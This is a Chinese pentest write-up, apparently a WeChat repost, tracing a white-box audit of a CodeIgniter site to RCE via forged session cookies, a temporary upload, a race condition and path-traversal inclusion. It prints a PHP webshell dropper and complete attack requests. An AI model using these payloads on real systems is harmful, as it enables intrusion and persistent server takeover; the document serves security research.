在一次项目中，前期拿到了站点的源码，队里师傅白盒审出了一条曲折的利用链，现在对这条链的挖掘过程重新做一次复现并记录。
这条链涉及经典漏洞包括：session 伪造、任意文件上传、条件竞争、文件包含，每一个漏洞都非常经典，串在一起变成了一个 big boom。
前排说明：目标站点使用框架为 CodeIgniter，本文目的是技术研究和思路分享，涉及到关于目标站点的信息已被隐去，相关代码特征如变量、函数的命名也已替换，但代码的逻辑均保留，仍具备参考价值。
检索一遍没有发现明显的命令注入、代码注入。
转而找上传或文件写入漏洞，主要关注 file_put_contents 和 move_uploaded_files 等函数
在某一个上传接口 /uploadController/uploadMethod 中，找到如下代码段：
$fileInput = $_FILES;$targetPath = "/tmp/";$file = $targetPath . basename($fileInput['uploadedFile']['name']);move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);$multipartParams = [......];$result = apiRequest('POST',......$multipartParams);if (file_exists($file)) {unlink($file);}
代码的逻辑很清晰：
1.从 $_FILES 中提取出 uploadedFile 这个文件，保留上传时的文件名，并将其移动到 /tmp 目录下。2.构造一个表单，其中 imageFile 参数即为第一步中被移动的文件，然后和其他参数一起 POST 向另一个接口。3.经典“卸磨杀驴”，删除刚刚移动的文件。
然后这里就算是一个 “不稳定” 的文件上传点，路径为 /tmp/[上传文件名]。
利用场景也 “被迫” 地让我们想好了：需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争，在文件被删除之前包含它，来达到执行代码的效果。
目标是找到能控制文件路径的包含点，这里发现了一个 Meathods 类，它包含一个 method1 方法符合我们的需求。
public function method1(){header('Content-Type: application/json');$response = array();if ($this->input->is_ajax_request()) {$data = $this->input->post(null, true);if (empty($data)) {$data = $this->input->get(null, true);}$class = $data['class'];$method = $data['method'];if ($this->isMethodAllowed($method)) {unset($data['class']);unset($data['method']);$this->load->model($class);$response = $this->$class->$method($data);}}return;}
这部分逻辑也很清晰
1.is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求，如果不是，则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点；2.从 post 参数中获取请求的变量，如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性，在绕过 waf 方面能给我们提供更多选择)。3.获取到对应的 $class 和 $method 之后，isMethodAllowed() 检查了被调用的方法是否被允许。4.调用框架定义好的 this->load->model 方法来加载对应的类。
避免有什么框架定义好的限制，有必要看一下 this->load->model 的逻辑。
$this->load =& load_class('Loader', 'core');load_class() 函数是框架与定义的函数，它会去对应的路径包含对应的文件，并加载其中的类，这样我们就找到了 this->load，也就有了 model 函数的代码：
public function model($model, $name = '', $db_conn = FALSE){$path = '';if (($last_slash = strrpos($model, '/')) !== FALSE){$path = substr($model, 0, $last_slash + 1);$model = substr($model, $last_slash + 1);}if ($name == ''){$name = $model;}$CI =& get_instance();$model = strtolower($model);foreach ($this->_ci_model_paths as $mod_path){if ( ! file_exists($mod_path.'models/'.$path.$model.'.php')){continue;}// 这里的 require_once 可以被利用来文件包含require_once($mod_path.'models/'.$path.$model.'.php');$CI->$name = new $model();return;}......}
开发常见的问题，相信了用户的输入，没有对输入进行足够的过滤，这个函数没有对传入的参数 $model 做严格的过滤，导致可以通过 "../" 进行目录穿越，从而可以实现对任意文件的包含。
那么再回到调用 model 的地方再看：
$this->load->model($class);$response = $this->$class->$method($data);
实例化了目标类之后，还调用了相应的方法，可谓非常贴心了。
从目前已经掌握的漏洞点出发，已经可以构思出这个漏洞的利用方式，首先准备一个恶意的 php 文件准备上传：
class TempClass{function __construct(){print('in __construct()n');file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));}function getData1($params){print('in getData1()n');}}
包含这个恶意文件并实例化 TempClass 时，会调用构造函数写入一个 /tmp/TempClass2.php，内容为：
class TempClass2{function __construct(){print('in __contructn');eval($_POST['shell']);}function getData1($params){print('in getData1');var_dump($params);}}
那么，接下来需要找到这个上传的入口，在一处 js 中找到了对应的代码：
$('.form-file').on('change', function () {......$(formId + '.form-upload').val(file[0].name);var formData = new FormData();formData.append('uploadedFile', file[0]);......});......context.methodsCall = function(formData) {......$.ajax({url: '/uploadController/uploadMethod/',type: 'POST',data: formData,dataType: 'json',......success: function (data) {......}});}
从前端页面找到这个接口似乎不太方便，但是从 js 的逻辑中构建出请求包倒也不困难。
只是遗憾的是，尝试访问之后发现这个上传接口不能随意访问，所以还得从程序入口开始审计哪里做了鉴权。
代码定义了 Hooks 类，在对每一个控制器的进行操作前，都会先调用若干个 hooks 中定义的方法，其中和鉴权相关的方法位于：hooks/auth.php
鉴权相关的函数为 permissionCheck()：
function permissionCheck() {......$user = $CI->load->get_var('auth_user');$permissions = $user['permissions'];......if (! in_array($action, $allow)) {if (! isset($permissions[$controller][$action])) {......redirect('permissions/unauthorized');}}}
这里可以看到，我们想要调用的方法，需要在 $user['permissions'] 中被指定，$user 从 $CI->load->get_var('auth_user') 中来，auth_user 刚好在另一个 hooks 方法 loginCheck() 中被设置。
function loginCheck() {......if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {redirect('users/login');}elseif ($CI->session->userdata('logged_in')) {$user = new User;$user = $user->findUserById($CI->session->userdata('logged_in'));if (empty($user)) {$CI->session->destroySess();redirect('users/login');}elseif (empty($user['permissions'])) {$CI->session->destroySess();redirect('users/login');}else {$CI->session->setUserdata('user', $user);$CI->load->vars('auth_user', $user);}if ($CI->router->method == 'login') redirect('users');}}
直接来看 elseif 部分，对于已经登陆的用户，会根据用户 id 用 findUserById() 到数据库中查询相应的信息，其中包含一个 permissions 字段，似乎看到了我们想要的东西，之后又将用户信息用 $CI->load->vars 设置为一个 auth_user 变量，也就是 permissionCheck() 函数中参数的来源，
来看一下 findUserById() 具体操作了哪些数据库：
public function findUserById($id = null) {if ($id) {$q = Doctrine_Query::create()->from('User u')->leftJoin('u.Role r')->leftJoin('r.Permission p')->leftJoin('u.Sessions s')->where('u.id = ?', $id);$user = $q->fetchOne();Doctrine_Manager::connection()->close();if (empty($user)) {return array();}else {$user = $user->toArray();$permissions = array();if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {foreach ($user['Role']['Permission'] as $permission) {$permissions[$permission['controller']][$permission['action']] = $permission['id'];}}$customData = $this->_unserialize($user['user_data']);array_merge($permisssions, $customData['permission']);$user['permissions'] = $permissions;return $user;}}else {return array();}}
跟踪 findUserById() 的逻辑发现，主要进行了数据库查询操作，但是对于 $permissions，还有一部分来自 session 相关的数据库。
常规数据库可能没办法直接修改，但是 session 数据库也许会伴随用户状态的改变而修改，那么如果 session 数据库中的信息可控，也可以达到我们的目的。
在 Session.php 中可以找到对 cookie 的相应操作。
if ( ! $this->readSess()){$this->createSess();}else{$this->updateSess();}$this->markFlashdata();
首先看一下 sess_read() 函数
function readSess(){$session = $this->CI->input->cookie($this->sess_cookie_name);...... （省略部分校验逻辑）if ($this->sess_encrypt_cookie == TRUE){$session = $this->CI->encrypt->decode($session);}$session = $this->_unserialize($session);......(校验 User-Agent / IP / last_activity 相关)if ($this->sess_use_database === TRUE){......(通过数据库校验 User-Agent / IP / last_activity 相关)$query = $this->CI->db->get($this->sess_table_name);......$row = $query->row();if (isset($row->user_data) AND $row->user_data != ''){$customData = $this->_unserialize($row->user_data);if (is_array($customData)){foreach ($customData as $key => $val){$session[$key] = $val;}}}}$this->userdata = $session;unset($session);return TRUE;}
看起来都是常规的操作，
1.首先校验了 cookie 的合法性，在设置 cookie 时就用了尾部的签名了来做校验；(这部分逻辑在代码中省略)2.紧接着判断 cookie 中的其他特征，UA、ip 地址、过期时间等等是否合法；3.最后还有一些用户自定义的数据，这些自定义数据先从数据库中取得的，也被放到了 $session 变量中。
然而 $session 变量最开始却是从这里来的：$session = $this->_unserialize($session);
当然这里似乎还有潜在的反序列化漏洞，不过暂且先不关注。$session 最后在 $this->userdata = $session; 所以，如果我们直接在 cookie 中构造相应的数据结构，当它被反序列化到 $session 变量后，仍然可以被保存到 userdata 中。
紧接着 readSess() 之后， markFlashdata() 中调用了 setUserdata() 更新 $userdata，更进一步调用 writeSess() 写入到数据库中，
function setUserdata($newdata = array(), $newval = ''){if (count($newdata) > 0){foreach ($newdata as $key => $val){$this->userdata[$key] = $val;}}$this->writeSess();}
然后是 writeSess()，这里将 $userdata 做了分类处理，并写入了数据库
function writeSess(){......$customUserdata = $this->userdata;$cookieUserdata = array();foreach (array(.....) as $val){unset($customUserdata[$val]);$cookieUserdata[$val] = $this->userdata[$val];}$customUserdata = $this->_serialize($customUserdata);$this->CI->db->where('session_id', $this->userdata['session_id']);$this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));......}
调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中，这也是我们想要操作的数据。
接下来就要着手伪造 cookie 了，本地执行对应的加解密算法。
加密部分：
function encode($string, $key = ''){$key = $this->get_key($key);$enc = $this->cryptEncode($string, $key);return base64_encode($enc);}
解密部分：
function decode($string, $key = ''){$key = $this->getKey($key);if (preg_match('/[^a-zA-Z0-9/+=]/', $string)){return FALSE;}$dec = base64_decode($string);if (($dec = $this->cryptDecode($dec, $key)) === FALSE){return FALSE;}return $dec;}
$key 可以在配置文件中拿到。
具体 mcrypt_decode() 和 mcrypt_encode() 的代码很长，此处省略。
首先用已经掌握的低权限账号密码登陆，登陆之后会得到一个已经 "logged_in" 的 cookie。
例如：
ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2解密之后：
a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}给这个序列化字符串加一点东西上去：
a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}然后调用加密函数再生成新的 cookie:
ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07具体利用过程中用到的请求包：
第一步：利用伪造的 cookie 进行上传
part1：POST /uploadController/uploadMethod HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: xxx--------------------------85a71e8a43af37acContent-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"Content-Type: image/png<?phpclass TempClass{function __construct(){print('in __construct()n');file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));}function getData1($params){print('in getData1()n');}}?>--------------------------85a71e8a43af37ac--
第二步，因为需要条件竞争，可以考虑把这个上传包放到 intruder 里重放个几百次，然后在上传的过程中，去尝试包含 /tmp/TempClass.php ，来达到竞争的效果。
part2:POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 314--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"../../../../../../../../../../../../../../../../../../../../tmp/TempClass--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"getData1--------------------------85a71e8a43af37ac--
第三步，一旦包含成功，那么在实例化 TempClass 的时候，会写入一个新的 TempClass2，这下可没有代码会去 unlink 它了，可以被稳定的利用。
part3:POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 433--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"../../../../../../../../../../../../../../../../../../../../tmp/TempClass2--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"getData1--------------------------85a71e8a43af37acContent-Disposition: form-data; name="shell"var_dump("hello,world");--------------------------85a71e8a43af37ac--
OK！打完收工。
稍微来总结一下整条利用链：
1.找到文件上传 -> 一个 “不稳定” 的文件上传2.找文件包含 -> 目录穿越导致任意文件包含3.条件竞争 -> 结合 1、2 条件竞争获得 RCE4.找权限控制 -> 伪造 cookie 得到任意接口的访问权限
原文始发于微信公众号（零鉴科技）：记一次跌宕起伏的白盒审计到RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论